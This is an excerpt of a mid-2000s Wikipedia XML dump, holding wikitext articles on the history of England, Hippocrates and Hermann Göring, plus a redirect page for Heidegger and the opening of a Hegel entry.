The [[English Civil War]] broke out in [[1642]], largely as a result of an ongoing series of conflicts between the then King, [[Charles I of England|Charles I]], and [[Parliament]]. The defeat of the Royalist army by the [[New Model Army]] of [[Parliament]] at the Battle of [[Naseby]] in June 1645 effectively destroyed the King's armies. The King fled to Scotland but was handed over to the English Parliament for money by the Scots. He escaped and the Second English Civil War began, although it was to be only a short conflict, with Parliament quickly securing the country. The capture and subsequent trial of [[Charles I of England|Charles I]] led to his execution by beheading in January [[1649]] at [[Whitehall]] Gate in London. The monarchy was abolished and [[Oliver Cromwell]] became the [[Lord Protector]]. After he died, his son [[Richard Cromwell]] acceded him as Lord Protector, but soon abdicated. The monarchy was restored in [[1660]], after England entered a period of anarchy, with King [[Charles II of England|Charles II]] returning to London.

In [[1664]]/[[1665|65]] England was swept by a visitation of the [[Great Plague]], and then, in [[1666]], London, the timbered capital city of England, was swept by the [[Great Fire of London]], which raged for 5 days, destroying approximately 15,000 buildings.

In [[1689]], the [[Netherlands|Dutch]] Protestant [[William III of England|William of Orange]], William III replaced the Catholic King [[James II of England|James II]].  This became known as the [[Glorious Revolution]] or 'Bloodless Revolution'. However, in [[Scotland]] and [[Ireland]], Catholics loyal to James II were not so content, and a series of bloody uprisings resulted. These [[Jacobite Rebellions]] continued until the mid-18th century.

The union of Scotland with England in the [[Act of Union 1707]], saw Scotland united with England and Wales (Wales had already been legally incorporated into England by the [[Laws in Wales Acts 1535-1542]] by Henry VIII). This was no process of harmonisation, for Scotland had effectively capitulated to English economic pressure after the failure of the [[Darién scheme]]. This process was lubricated in the Scottish parliament by the self-interested political manoeuverings of the English puppets, [[John Campbell, 2nd Duke of Argyll|John Campbell]], the 2nd Duke of [[Argyll]] and [[James Douglas, 2nd Duke of Queensberry]]. (NB: After the 1707 Act, the histories of Great Britain and England overlap heavily. Since England was the dominant hegemony, it is assumed for the purposes of this article that the two are largely coterminous.)

==The Industrial Revolution==
: ''Main article: [[Economic history of Britain]]''
The late [[18th century|18th]] and early [[19th century|19th centuries]] saw considerable social upheaval as a largely agrarian society was transformed by technological advances and increasing mechanisation, which was the [[Industrial Revolution]].  Much of the agricultural workforce was uprooted from the countryside and moved into large urban centres of production, as the steam-based production factories could undercut the traditional [[cottage industries]], due to economies of scale and the increased output per worker made possible by the new technologies.  The consequent overcrowding into areas with little supporting infrastructure saw dramatic increases in the rise of infant mortality (to the extent that many Sunday schools for pre working age children (5 or 6) had funeral clubs to pay for each others funeral arrangements), crime, and social deprivation. 

The transition to industrialisation was not wholly seamless for workers, many of whom saw their livelihoods threatened by the process.  Of these, some frequently sabotaged or attempted to sabotage factories. These saboteurs were known as &quot;[[Luddite|Luddites]]&quot;. This view of the Luddite history should also be set against alternative views, such as [[Luddism#E._P._Thompson.27s_view_of_Luddism|that of E. P. Thompson]].

== Recent history ==
: ''Main article: [[History of the United Kingdom]]''
The [[Act of Union 1800|Act of Union]] of [[1800]] formally assimilated Ireland within the British political process, and created a new [[state]] &quot;The [[United Kingdom of Great Britain and Ireland]]&quot; with effect from 1 January 1801, uniting England, Wales, Ireland and Scotland.

Since then England has not existed as an independent political entity, but as a country it has remained highly dominant in the [[United Kingdom]].  The majority of the political and economic leadership the UK is English.  London has remained the economic and centre of Britain and one of the world's great cities.  

During the early [[19th century]], the working classes began to find a voice.  Concentrations of industry led to the formation of guilds and unions, which, although at first suppressed, eventually became powerful enough to resist. 

[[Chartism]] is thought to have originated from the passing of the [[1832]] [[Reform Bill]], which gave the vote to the majority of the (male) middle classes, but not to the 'working class'. Many people made speeches on the 'betrayal' of the working class and the 'sacrificing' of their 'interests' by the 'misconduct' of the government. In [[1838]], six members of Parliament and six workingmen formed a committee, which then published the People's Charter.

The [[revolution of 1848|revolutions]] which spread like wildfire throughout mainland Europe during the [[1840s]] did not occur in England and [[Victoria of the United Kingdom|Queen Victoria]]'s reign was largely one of consensus, despite huge disparities in living standards between the few rich and the multitudinous poor.

The Anglo-Irish treaty of [[1921]] established the [[Irish Free State]] (now the [[Republic of Ireland]]) as a separate nation, leaving [[Northern Ireland]] as part of the United Kingdom; its official name became &quot;The [[United Kingdom of Great Britain and Northern Ireland]]&quot;.

England bore the full brunt of German bombing during [[World War II]], many of its cities were badly damaged and huge amounts of infrastructure destroyed.  England rapidly recovered after the war, and while internationally the relative wealth and power of Britain have faded, England still remains paramount in the British Isles.  [[1999]] saw the establishment of the Scottish Parliament and Welsh Assembly. There is no English equivalent.  In part this is a reflection of the hold England has on the British government.

==See also==
* [[Bretwalda]]
* [[List of British monarchs]], [[British monarchs' family tree]]
* [[Politics of the United Kingdom|British politics]]
* [[Danelaw]]
* [[English people]]
* [[History of the British constitution]]
* [[History of British society]]
* [[Timeline of English history]]
* [[Population of England]] - historical estimates
* [[History of the Jews in England]]
* [[History of Britain]]
* [[History of Scotland]]
* [[History of Ireland]]
* [[History of Wales]]
* [[History of Cornwall]]
* [[Commonwealth]]
* By county/city: [[History of Bedfordshire|Bedfordshire]], [[History of Berkshire|Berkshire]], [[History of Birmingham|Birmingham]], [[History of Bristol|Bristol]], [[History of Buckinghamshire|Buckinghamshire]], [[History of Cambridgeshire|Cambridgeshire]], [[History of Cheshire|Cheshire]], [[History of Cornwall|Cornwall]], [[History of County Durham|County Durham]], [[History of Cumbria|Cumbria]], [[History of Derbyshire|Derbyshire]], [[History of Devon|Devon]], [[History of Dorset|Dorset]], [[History of East Riding of Yorkshire|East Riding of Yorkshire]], [[History of East Sussex|East Sussex]], [[History of Essex|Essex]], [[History of Gloucestershire|Gloucestershire]], [[History of Hampshire|Hampshire]], [[History of Herefordshire|Herefordshire]], [[History of Hertfordshire|Hertfordshire]], [[History of the Isle of Wight|Isle of Wight]], [[History of Kent|Kent]], [[History of Lancashire|Lancashire]], [[History of Leicestershire|Leicestershire]], [[History of Lincolnshire|Lincolnshire]], [[History of London|London]], [[History of Manchester|Manchester]], [[History of Merseyside|Merseyside]], [[History of Norfolk|Norfolk]], [[History of Northamptonshire|Northamptonshire]], [[History of Northumberland|Northumberland]], [[History of North Yorkshire|North Yorkshire]], [[History of Nottinghamshire|Nottinghamshire]], [[History of Oxfordshire|Oxfordshire]], [[History of Rutland|Rutland]], [[History of Sheffield|Sheffield]], [[History of Shropshire|Shropshire]], [[History of Somerset|Somerset]], [[History of Staffordshire|Staffordshire]], [[History of Suffolk|Suffolk]], [[History of Surrey|Surrey]], [[History of Tyne and Wear|Tyne and Wear]], [[History of Warwickshire|Warwickshire]], [[History of West Midlands|West Midlands]], [[History of West Sussex|West Sussex]], [[History of West Yorkshire|West Yorkshire]], [[History of Wiltshire|Wiltshire]], [[History of Worcestershire|Worcestershire]]

==External links==
*http://www.historyofengland.net/
* Full text of ''[http://www.gutenberg.net/etext/8556 The History of England From the Norman Conquest to the Death of John (1066-1216)]'' from [[Project Gutenberg]]

==Further reading==
*&lt;cite&gt;[[A History of Britain]]: At the Edge of the World, 3500 BC - 1603 AD&lt;/cite&gt; by [[Simon Schama]], BBC/Miramax, 2000 ISBN 0786866756
*&lt;cite&gt;A History of Britain, Volume 2: The Wars of the British 1603-1776&lt;/cite&gt; by [[Simon Schama]], BBC/Miramax, 2001 ISBN 0786866756
*&lt;cite&gt;A History of Britain - The Complete Collection&lt;/cite&gt; on DVD by [[Simon Schama]], BBC 2002 ASIN B00006RCKI
*&lt;cite&gt;The Isles, A History&lt;/cite&gt; by [[Norman Davies]], Oxford University Press, 1999, ISBN 0-19-513442-7
*&lt;cite&gt;The History of England, From the First Invasion by the Romans to the Accession of William and Mary in 1688&lt;/cite&gt;, [[1819]] by [[John Lingard|Father John Lingard]] ([[Catholicism|Roman Catholic]] perspective)
*&lt;cite&gt;Shortened History of England&lt;/cite&gt; by [[George Macaulay Trevelyan|G. M. Trevelyan]] Penguin Books ISBN 0140233237
*&lt;cite&gt;[[A_History_of_the_English_Speaking_Peoples|History of the English-Speaking Peoples]]&lt;cite&gt; by [[Winston Churchill|Sir Winston Churchill]] Cassell reference, ISBN: 0304363898 -- the writing of which helped bring Churchill to public attention in the 1930s, and which forms the basis of many later reference works


[[Category:History by country|England]]
[[Category:History of England|*]]
[[Category:Politics of England]]

[[de:Geschichte Englands]]
[[es:Historia de Inglaterra]]
[[fr:Histoire de l'Angleterre]]
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  <page>
    <title>Hippocrates</title>
    <id>13486</id>
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      <contributor>
        <username>DanielCD</username>
        <id>81016</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/128.253.6.224|128.253.6.224]] ([[User talk:128.253.6.224|talk]]) to last version by 69.117.179.134</comment>
      <text xml:space="preserve">{{Expert}}
:''&quot;Hippocrates&quot; could refer as well to the fictional character from the [[Harry Potter]]  series, [[Hippocrates Smethwyck]];''
:''Or to the ancient [[Greece|Greek]] [[geometer]] [[Hippocrates of Chios]], who wrote the first known work systematizing the fundamentals of [[geometry]].''

[[Image:Hippocrates.jpg|thumb|240px|right|Hippocrates: a conventionalized image in a Roman &quot;portrait&quot; bust (19th century engraving)]]

'''Hippocrates of Cos''' (c. [[460 BC]]&amp;ndash;c. [[380 BC]]) was an [[Ancient Greece|ancient Greek]] [[physician]]. He has been called &quot;[[List of people known as the father or mother of something|the father of medicine]]&quot;, and is commonly regarded as one of the most outstanding figures in [[medicine]] of all time. According to the biographical tradition, he was a physician trained at the [[Dream temple]] of [[Kos]], and may have been a pupil of [[Herodicus]]. Writings attributed to him (''Corpus hippocraticum'', or &quot;Hippocratic writings&quot;) rejected the [[superstition]] and magic of primitive &quot;medicine&quot; and laid the foundations of medicine as a branch of science. Attributed sayings of Hippocrates include: ''&quot;He who does not understand astrology is not a doctor, but a fool,&quot;'' and ''&quot;There are in fact, two things: science, and opinion; the former begets knowledge, the latter ignorance.&quot;'' Little is actually known about Hippocrates' personal life, but some of his medical achievements were documented by such people as [[Plato]] and [[Aristotle]]. 

==Writings==
[[Image:Asklepion414.jpg|thumb|left]]

The Hippocratic writings introduced patient confidentiality, a practice still in use today. This was described under the [[Hippocratic Oath]] and other treatises.  Hippocrates recommended that physicians record their findings and their medicinal methods, so that these records may be passed down and employed by other physicians.  

Other Hippocratic writings associated [[personality]] traits with the relative abundance of [[the four humours]] in the body: [[phlegm]], [[bile|yellow bile]], [[black bile]], and [[blood]], and were a major influence on [[Galen]] and later on [[medieval medicine]]. 

The ''[[Hippocratic Corpus]]'' is a collection of about sixty treatises, most written between [[430 BC]] and [[AD 200]]. They are actually a group of texts written by several different people holding several different viewpoints erroneously grouped under the name of Hippocrates, perhaps at the [[Library of Alexandria]]. None of the texts included in the Corpus can be considered to have been written by Hippocrates himself, and at least one of them was written by his son-in-law Polybus.  The best known of the Hippocratic writings is the [[Hippocratic Oath]]; however, this text was most likely not written by Hippocrates himself. A famous, time-honoured medical rule ascribed to Hippocrates is ''[[Primum non nocere]]'' (&quot;first, do no harm&quot;); another one is ''[[Ars longa, vita brevis]]'' (&quot;art is long, and life short&quot;).

==Works==
Of these works, none can be demonstrably credited to Hippocrates, but they are considered to form the ''Corpus Hippocraticum'':
*''[[Aphorisms]]''
*''Instruments Of Reduction''
*''Of The [[Epidemics]]''
*''On Airs, Waters, And Places''
*''On [[Ancient Medicine]]''
*''On [[Fistulae]]''
*''On [[Fracture (bone)|Fracture]]s''
*''On [[Hemorrhoids]]''
*''On Injuries Of The Head''
*''On Regimen In Acute Diseases''
*''On The Articulations''
*''On [[The Sacred Disease]]''
*''On The [[Surgery]]''
*''On [[Ulcer]]s''
*''The Book Of [[Prognostics]]''
*''The Law''
*''The Oath''

==The &quot;portrait&quot; of Hippocrates==
The purely conventional iconography of Greek poets and philosophers were set in the &quot;portrait&quot; busts, (''illustration, above right''), produced in series to decorate the villas of the Roman cultured class. The changing careers of these idealized &quot;character&quot; images have been studied by Paul Zanker, ''The Mask of Socrates: The Image of the Intellectual in Antiquity,'' translated by Alan Shapiro. Berkeley: University of California Press, 1996. [ ISBN 0-520-20105-1]. See [http://ccat.sas.upenn.edu/bmcr/1996/96.08.04.html review in ''Bryn Mawr Classical Review''].

==See also==
*[[Hippocratic face]]
*[[Hippocratic fingers]] (clubbing)
*[[Medical astrology]]
*[[Hippocratic bench]]

==External links==
{{wikiquote}}
{{Wikisource author}}

*[http://etext.library.adelaide.edu.au/aut/hippocrates.html Online version of works]
*[http://classics.mit.edu/Browse/browse-Hippocrates.html Translations of Hippocratic texts in English]
*[http://194.254.96.6/FMPro?-DB=livanc.fp3&amp;-Format=livanc-rech.htm&amp;cote=*&amp;-max=1000&amp;-Find Texts in Greek]
*Aphorisms available at [http://en.wikisource.org/wiki/Aphorisms WikiSource]
*[http://www.healthvoices.com/blog/hippocrates/2005/10/24/what_would_hippocrates_do What Would Hippocrates Do?]
*[http://www2.sjsu.edu/depts/Museum/hippoc.html Article on Sané Jose Site]

[[Category:460 BC births]]
[[Category:380 BC deaths]]
[[Category:Ancient Greeks]]
[[Category:Classical humanists]]
[[Category:History of ancient medicine]]

[[bn:হিপোক্রেটিস]]
[[ca:Hipòcrates]]
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  <page>
    <title>Hermann Göring</title>
    <id>13487</id>
    <revision>
      <id>42109699</id>
      <timestamp>2006-03-03T22:05:06Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">[[Image:Hermann_goering2.jpg|thumb|250px|right|framed|Hermann Göring]]
'''Hermann Wilhelm Göring''' (also '''Goering''' in [[English language|English]]) ([[January 12]], [[1893]] &amp;ndash; [[October 15]], [[1946]]) was an early member of the [[Nazi party]], leader of the [[Gestapo]], and one of the main leaders of [[Nazi Germany]]. He was tried for [[war crimes]] and [[crimes against humanity]] at the [[Nuremberg Trials]] in 1945-1946 and sentenced to death. He avoided execution by committing [[suicide]] in his cell a few hours before the sentence was to be carried out.

===Early life===
Göring was born in [[Rosenheim]], [[Bavaria]] to Heinrich Ernst Göring, a [[lawyer]] and [[German colonial empire|colonial]] [[bureaucrat]] (in [[South-West Africa]], today's [[Namibia]]), and his wife Franziska. Often apart from his parents, he was tutored at home  before attending [[cadet]] schools at [[Karlsruhe]] and Lichterfelde.

[[Image:Göring.jpg|left|150px|thumb|Hermann Göring in WWI.  22 air victories, Commander of Jasta 11 following the death of Wilhelm Reinhard, the successor of [[Manfred von Richthofen]], the Red Baron.]]
In [[World War I]] he was commissioned in the infantry, then became a pilot. He flew reconnaissance and bombing missions before becoming a [[fighter]] pilot. By the end of the war he was a highly decorated &quot;ace&quot; and commanded the famed [[Jasta 11]]. 

In mid-[[1915]] Göring began his pilot training at Freiburg, and on completing the course he was posted to ''Jagdstaffel'' 5. He was soon shot down and spent most of [[1916]] recovering from his injuries. On his return in November 1916 he joined ''Jagdstaffel'' 26, before being given his first command. In [[1917]] he was awarded the ''[[Pour le Mérite]]''. On [[July 7]], [[1918]], after the death of Wilhelm Reinhard, the successor of Baron [[Manfred von Richthofen]] (''The Red Baron''), he was made commander of ''Jagdgeschwader Freiherr von Richthofen'' (''Jasta'' 11). He finished the war as an &quot;[[flying ace|ace]],&quot; with 22 confirmed kills. Incidentally, his appointment as commander had not been well received and he was the only veteran of [[Jasta 11]] to have never been invited to the squadron's post-war reunions.

In June 1917, after a lengthy dogfight, Göring shot down a novice [[Australian]] pilot named [[Frank Slee]]. The battle is recounted flamboyantly in ''The Rise and Fall of Hermann Goering''. Göring landed and met with the Australian, and presented Slee with his [[Iron Cross]]. Years after, Slee gave Göring's [[Iron Cross]] to a friend, who later died on the beaches of [[Normandy]] on [[D-Day]].

He remained in flying after the war, worked briefly at [[Fokker]], tried &quot;[[barnstorming]],&quot; and in [[1920]] he joined [[Svenska Lufttrafik]].  He was also listed on the officer rolls of the [[Reichswehr]], the post-World War I peacetime army of Germany, and by [[1933]] had risen to the rank of ''Generalmajor''.  He was made a ''Generalleutnant'' in [[1935]] and then a General in the [[Luftwaffe]] (German air force) upon its founding later that year.

In [[Stockholm]] he met [[Karin von Kantzow]] (née ''Fock'', [[1888]]-[[1931]]), whom he later married. She died in [[1931]], and soon after he married actress [[Emmy Sonnemann]].

===Political career===
[[Image:Gustavgoring1939.JPG|thumb|300px|left|[[Prince Gustaf Adolf, Duke of Västerbotten|Prince Gustaf Adolf]], Hermann Göring and [[Gustaf V of Sweden]] in 1939]]
As early as [[1922]], Göring joined the [[Nazi Party]] and initially took over the [[Sturmabteilung|SA]] leadership as the ''[[Oberste SA-Führer]]''.  After stepping down as the SA Commander, he was appointed an ''SA-[[Gruppenführer]]'' (Lieutenant General) and held this rank on the SA rolls until 1945.

Having been a member of the ''[[Reichstag (institution)|Reichstag]]'' since [[1928]], he became the parliament's [[president]] from [[1932]] to [[1933]], and was one of the key figures in the process of ''[[Gleichschaltung]]'' that established the Nazi [[dictatorship]].

In its early years, he served as minister in various key positions at both the ''Reich'' level and in [[Prussia]], being responsible for the economy as well as the build-up of the German military in preparation for the war. Among others, he was appointed ''Reichsluftfahrtminister'' in 1935, head of the Luftwaffe.  In [[1939]], he became the first Luftwaffe [[Field Marshal]] (''Generalfeldmarschal'') and by a decree on [[29 June]], [[1941]], [[Hitler]] appointed Göring his formal successor and promoted him to the rank of [[Reichsmarschall]], the highest military rank of the Greater German Reich.  Reichsmarschall was a special rank intended for Göring and which made him senior to all Army and Air Force Field Marshals.

The [[Reichstag Fire]], according to the [[Nuremberg Trials|Nuremberg]] testimony of General [[Franz Halder]], was the handiwork of Göring, not of '[[Communist]] instigators.' &quot;At a luncheon on the birthday of Hitler in 1942...&quot; Halder testifies, &quot;[Göring said]...The only one who really knows about the Reichstag is I, because I set it on fire!&quot; &quot;With that,&quot; said Halder, &quot;he slapped his thigh with the flat of his hand.&quot; Göring in his own Nuremberg testimony denied this story.

The famous quotation, &quot;When I hear the word culture, I reach for my [[Browning Arms Company|Browning]]&quot; is frequently attributed to Göring. Whether or not he actually used this phrase, it did not originate with him. The line comes from German [[playwright]] [[Hanns Johst]]'s play ''Schlageter'', &quot;Wenn ich [[Kultur]] höre ... entsichere ich meinen Browning,&quot; &quot;Whenever I hear of culture... I release the safety-catch of my Browning!&quot; (Act 1, Scene 1). Nor was Göring the only Nazi official to use this phrase: [[Rudolf Hess]] used it as well.

Göring was known for his extravagant tastes and garish clothing. As the only major Nazi with a prominent [[World War I]] record, he was a key connection between the former corporal Hitler and the traditional military elite. Göring, married to a [[Sweden|Swedish]] baroness, built a vast [[Prussia|Prussian]] estate, Karinhall, named after her.  To avoid it falling into enemy hands, Göring had Karinhall blown up on April 20, 1945, immediately before attending Hitler's last birthday party.  

He exulted in [[aristocracy|aristocratic]] trappings, and after the Nazis conquered much of Europe, collected [[Nazi Plunder|artworks looted from numerous museums]], even some within Germany itself.  Handsome and athletic in his youth, Göring sustained a painful injury during the [[Beer Hall Putsch]], leaving him dependent on [[narcotic]] [[painkillers]], particularly [[morphine]]. This addiction contributed to his later [[obesity]].

===World War II===
Once [[World War II]] started, Göring became the driving force behind the failed attempt to force Britain's surrender (or at least acquiescence) by air battle in the [[Battle of Britain]]. After that campaign he lost much of his influence in the Nazi hierarchy, exacerbated by the Luftwaffe's failings in [[Russia]] and against the Allied bomber raids. His reputation for extravagance made him particularly unpopular as ordinary Germans began to suffer deprivations.

Göring was the only WWII recipient of the [[Grand Cross of the Iron Cross]], awarded to him by Hitler for his leadership of the Luftwaffe during the conquest of France and the Low Countries.  He avidly pursued additional decorations, in marked contrast to Hitler, who wore only what he earned in WWI.

Göring also sponsored a ground combat unit, the eponymous [[Hermann Göring Division]], which fought on various fronts with mixed success.

He was also [[Commander-in-Chief]] of ''[[Forschungsamt]]'' (&quot;[[FA]]&quot;), the [[German Nazi]] underground monitoring services for telephone and radio communications.  This was connected to [[SS]], [[SD]] and [[Abwehr]] intelligence services.

Göring was also placed in charge of exploiting the vast industrial resources captured during the war, particularly in the Soviet Union. This proved to be an almost total disaster and little of the available potential was effectively harnessed for the service of the German military machine. However, Göring was notorious for his role as one of the [[Nazi plunder]]ers of [[art]] and other valuables from occupied Europe.

Göring was the highest figure in the Nazi Hierarchy who had authorized ''on paper'' the '[[final solution]] of the Jewish Question', when he issued a memo to [[Schutzstaffel|SS]] Obergruppenführer [[Reinhard Heydrich]] to organize the practical details (which culminated in the [[Wannsee Conference]]).  It is almost certain however that Hitler issued a verbal order to Göring in the fall of [[1941]] to this effect.

Near the end of the war, as the [[Red Army]] closed in around the German capital on [[April 23]], [[1945]], Göring sent a telegram from [[Berchtesgaden]] to Berlin in which he proposed to assume leadership of the  ''Reich'' as Hitler's designated successor. Hitler considered this disloyalty and high treason, especially because Göring mentioned time limit after which he would consider Hitler incapacitated. Hitler had Göring placed under arrest by [[Bernhard Frank]] on [[April 25]] and in his [[Last_will_and_testament_of_Adolf_Hitler|political testament]] Hitler dismissed Göring from all his sundry offices and expelled him from the party.

===Capture, trial and death===
[[Image:Goering_in_Nuremberg.jpg|right|300px|thumb|Göring at Nuremberg]]
Göring surrendered on [[May 8]], [[1945]] in [[Austria]]. He was the highest ranking Nazi official brought before the [[Nuremberg Trials]]. Though he defended himself vigorously, he was sentenced to death; the judgment stated that &quot;his guilt is unique in its enormity&quot;.  One of his last acts was to ask his brother [[Albert Göring]] to look after his wife and daughter.  Defying the sentence imposed by his captors, he committed [[suicide]] with a [[potassium cyanide]] capsule the night before he was supposed to be [[hanging|hanged]]. Where Göring obtained the cyanide, and how he had managed to hide it during his entire imprisonment at Nuremberg, remains unknown.  In the [[1950s]], [[Erich von dem Bach-Zalewski]] would claim that he had given Göring the cyanide shortly before Göring's death, however this claim is wontedly dismissed. Later theories speculate that Göring befriended a U.S. Army Lieutenant stationed at the Nuremberg Trials who helped Göring obtain cyanide which had likely been hidden among Göring's personal effects when they were confiscated by the Army. In [[2005]], former Army private [[Herbert Lee Stivers]] claimed he gave Göring &quot;medicine&quot; hidden inside a gift fountain pen from a German woman the private had met and flirted with. Stivers served in the [[US 1st Infantry Division]]'s 26th Regiment, who formed the honor guard for the Nuremberg Trials. Stivers claims to have been unaware of what the &quot;medicine&quot; he delivered actually was until after Göring's death. After his suicide, Hermann Göring was [[cremated]] and his ashes were scattered in the [[Conwentzbach]] in Munich, which runs into the [[Isar]] river.

==Göring's last days==
[[Image:Goersuicide.jpg|left|thumb|Göring in his cell after committing suicide by cyanide]]
Göring's last days were spent with [[Gustave Gilbert]], a Jewish German-speaking intelligence officer and [[psychologist]] who was granted free access by the Allies to all the prisoners held in the Nuremberg jail. Gilbert classified Göring as having an IQ of 138, the same as he ascribed to [[Karl Dönitz]]. He kept a journal of his observations of the proceedings and his conversations with the prisoners, which he later published in the book ''[[Nuremberg Diary]]''. The following quotation was a part of a conversation Gilbert held with a dejected Göring in his cell on the evening of [[18 April]] [[1946]], as the trials were halted for a three-day [[Easter]] recess.

:&quot;Sweating in his cell in the evening, Göring was defensive and deflated and not very happy over the turn the trial was taking. He said that he had no control over the actions or the defense of the others, and that he had never been [[anti-Semitic]] himself, had not believed these atrocities, and that several [[Jews]] had offered to testify in his behalf.&quot;

Despite claims that he was not anti-semitic, while in the prison yard at Nuremberg, after hearing a remark about Jewish survivors in Hungary, [[Albert Speer]] reported overhearing Göring say, &quot;So, there are still some there?  I thought we had knocked off all of them.  Somebody slipped up again.&quot; {{ref|lastdays}}

==The personal standards of Hermann Göring==
When Göring had been promoted to the unique rank of &quot;Reichsmarschall&quot; on [[July 19]] [[1940]], he at once decided to choose a personal standard for himself. The design in the centre of the left side displayed a German eagle embroidered in gold-yellow thread and clutching in its talons a gold swastika standing on its point. Set behind the swastika was a pair of crossed marshal's batons. The right side displayed in the centre a large black Iron Cross. It was the so called &quot;Großkreuz des Eisernen Kreuzes&quot; that was only bestowed on him by Hitler. Set in each of the four sections of the field was a gold-yellow Luftwaffe eagle and swastika. The basic field was light blue on both sides, that indicated that he was also the Commander-In-Chief of the German Air Force. In February 1941 he made up his mind to modify the whole design in order to look more &quot;fashionable&quot;. The standard was used for all purposes and was carried by a personal standard-bearer.
&lt;gallery&gt;
Image:Hermann Göring1 (Vorderseite).jpg|1. pattern (right side)
Image:Hermann Göring1 (Rückseite).jpg|1. pattern (left side)
Image:Hermann Göring2 (Vorderseite).jpg|2. pattern (right side)
Image:Hermann Göring2 (Rückseite).jpg|2. pattern (left side)
&lt;/gallery&gt;

==In fiction==
In [[Philip José Farmer]]'s ''[[Riverworld]]'', a [[reincarnation|reincarnated]] Göring becomes a [[missionary]] for the Church of the Second Chance, a pacifist religion.&lt;/p&gt;

&lt;p&gt;[[Philip K Dick]]'s 1962 [[science-fiction]] [[Alternate history (fiction)|alternate history]] novel &lt;i&gt;[[The Man in the High Castle]]&lt;/i&gt; mentions Göring, who, by 1962 is aging, morbidly obese, and the subject of much [[rumor]] and speculation regarding his indulgent lifestyle (which is seen by some as akin to that of a corrupt [[Roman emperors|Roman emperor]]). He resides in his large estate within the [[Alps]].&lt;/p&gt;

Göring was an early foe of [[Captain America]], along with [[Adolf Hitler]].

Göring is represented by the character ''Emmanuel Giri'' in ''[[The Resistable Rise of Arturo Ui]]'' by [[Bertolt Brecht]]. The play is a parody of the rise of Hitler, largely written in exile (1941), with various scenes added afterwards. It has been translated into English by [[Ralph Manheim]] and published by [[Methuen]] modern plays.

==In film==
{{Commons|Hermann Wilhelm Göring}}
*He has been portrayed by:
**[[Jan Werich]] - [[1949 in film|1949]], ''[[Padeniye Berlina]]'' (both parts)
**[[Hein Reiss]] - [[1969 in film|1969]], ''[[Battle of Britain (film)|Battle of Britain]]''.
**[[Glenn Shadix]] - 1969, ''[[The Empty Mirror]]''.
**[[Volker Spengler]] - [[1996 in film|1996]], ''[[The Ogre (film)|The Ogre]]'', directed by [[Volker Schlöndorff]], also starring [[John Malkovich]].
**[[Brian Cox]] - [[2000 in film|2000]], ''Nuremberg'' ([[television movie]]), also starring [[Alec Baldwin]] and [[Jill Hennessy]].
**[[Chris Larkin]] - [[2003 in film|2003]], ''Hitler: The Rise of Evil'' (television movie).
**[[Mathias Gnädinger]] - [[2004 in film|2004]], ''[[Der Untergang]]''.

Footage of Göring has been included in many films, notably in the [[1935 in film|1935]] ''[[Triumph des Willens]]'' by [[Leni Riefenstahl]].

==Quotes==
{{wikiquote}}
*&quot;Guns will make us strong, butter will only make us fat.&quot;
*&quot;Why of course the people don't want war. Why should some poor slob on a farm want to risk his life in a war when the best he can get out of it is to come back to his farm in one piece? Naturally the common people don't want war neither in Russia, nor in England, nor for that matter in Germany. That is understood. But, after all, it is the leaders of the country who determine the policy and it is always a simple matter to drag the people along, whether it is a democracy, or a fascist dictatorship, or a parliament, or a communist dictatorship. Voice or no voice, the people can always be brought to the bidding of the leaders. That is easy. All you have to do is tell them they are being attacked, and denounce the peacemakers for the lack of patriotism and exposing the country to danger. It works the same in any country.&quot;

==Books about Göring==
* Frischauer, Willi: ''The Rise and Fall of Hermann Goering'' (Ballantine Books 1951)
* Overy, Richard J.: ''Goering: The Iron Man'' (Routledge 1984)
* Maser, Werner: ''Hitlers janusköpfiger Paladin:die politische Biographie'', (German) (Berlin 2000) ISBN 38-6124-509-4
* Irving, David: ''Göring: Biography of Hermann Göring'' (1989) ISBN 0688066062 
*[http://www.third-reich-books.com/x-567-hermann-goering-germany-reborn.htm excerpt from Hermann Göring book &quot;Germany Reborn&quot;]

==References==
*[[Joachim Fest|Fest, Joachim]]: ''Inside Hitler's Bunker'', Farrar, Straus, and Giroux, 2002 ISBN 0374135770
*[[Gustave Gilbert|Gilbert, Gustave]]: &quot;[[Nuremberg Diary]]&quot;, originally published: New York: Farrar, Straus and Company, 1947, p. 278-279. ISBN 0306806614
*{{note|lastdays}}[[Albert Speer|Speer, Albert]]: ''[[Inside the Third Reich]]'', The Macmillan Company, 1970, p. 605. ISBN 0684829495

==External links==
*[http://www.jta.org/page_view_story.asp?intarticleid=16050&amp;intcategoryid=5 A survivor and Nuremberg journalist recalls a surreal meeting with Goering] By Ernest W. Michel for the [[Jewish Telegrahphic Agency|JTA]] November 21, 2005

{{start box}}
{{succession box | title=[[Oberste SA-Führer|Leader of the SA]] | before=[[Hans Ulrich Klintzsche]] | after=Post vacant from 1923-1925 | years=1923}}
{{succession box | title=[[Prime Minister of Prussia]] | before=[[Franz von Papen]]&lt;br&gt;(Reichskomissar) | after=Prussia abolished | years=1933&amp;ndash;1945}}
{{end box}}
{{GFMofWWII}}

[[Category:1893 births|Goering, Hermann]]
[[Category:1946 deaths|Goering, Hermann]]
[[Category:Military people who committed suicide|Goering, Hermann]]
[[Category:Flying aces|Goering, Hermann]]
[[Category:Field Marshals of Nazi Germany|Goering, Hermann]]
[[Category:German politicians|Goering, Hermann]]
[[Category:German World War I flying aces|Goering, Hermann]]
[[Category:German World War II people|Goering, Hermann]]
[[Category:Luftwaffe generals and leaders|Goering, Hermann]]
[[Category:Nazi leaders|Goering, Hermann]]
[[Category:Natives of Bavaria|Goering, Hermann]]
[[Category:People convicted in the Nuremberg Trials|Goering, Hermann]]

[[ar:هيرمان غورينغ]]
[[cs:Hermann Göring]]
[[da:Hermann Göring]]
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[[el:Χέρμαν Γκαίριγκ]]
[[es:Hermann Wilhelm Göring]]
[[fa:هرمان گورینگ]]
[[fr:Hermann Göring]]
[[ko:헤르만 괴링]]
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[[he:הרמן גרינג]]
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[[no:Hermann Göring]]
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[[zh:赫尔曼·戈林]]</text>
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  </page>
  <page>
    <title>Heidegger</title>
    <id>13488</id>
    <revision>
      <id>15911093</id>
      <timestamp>2004-01-13T07:09:31Z</timestamp>
      <contributor>
        <username>Snoyes</username>
        <id>8289</id>
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      <minor />
      <comment>Reverted to last edit by 217.99.96.148</comment>
      <text xml:space="preserve">#REDIRECT [[Martin Heidegger]]</text>
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  <page>
    <title>Hegel</title>
    <id>13489</id>
    <revision>
      <id>15911094</id>
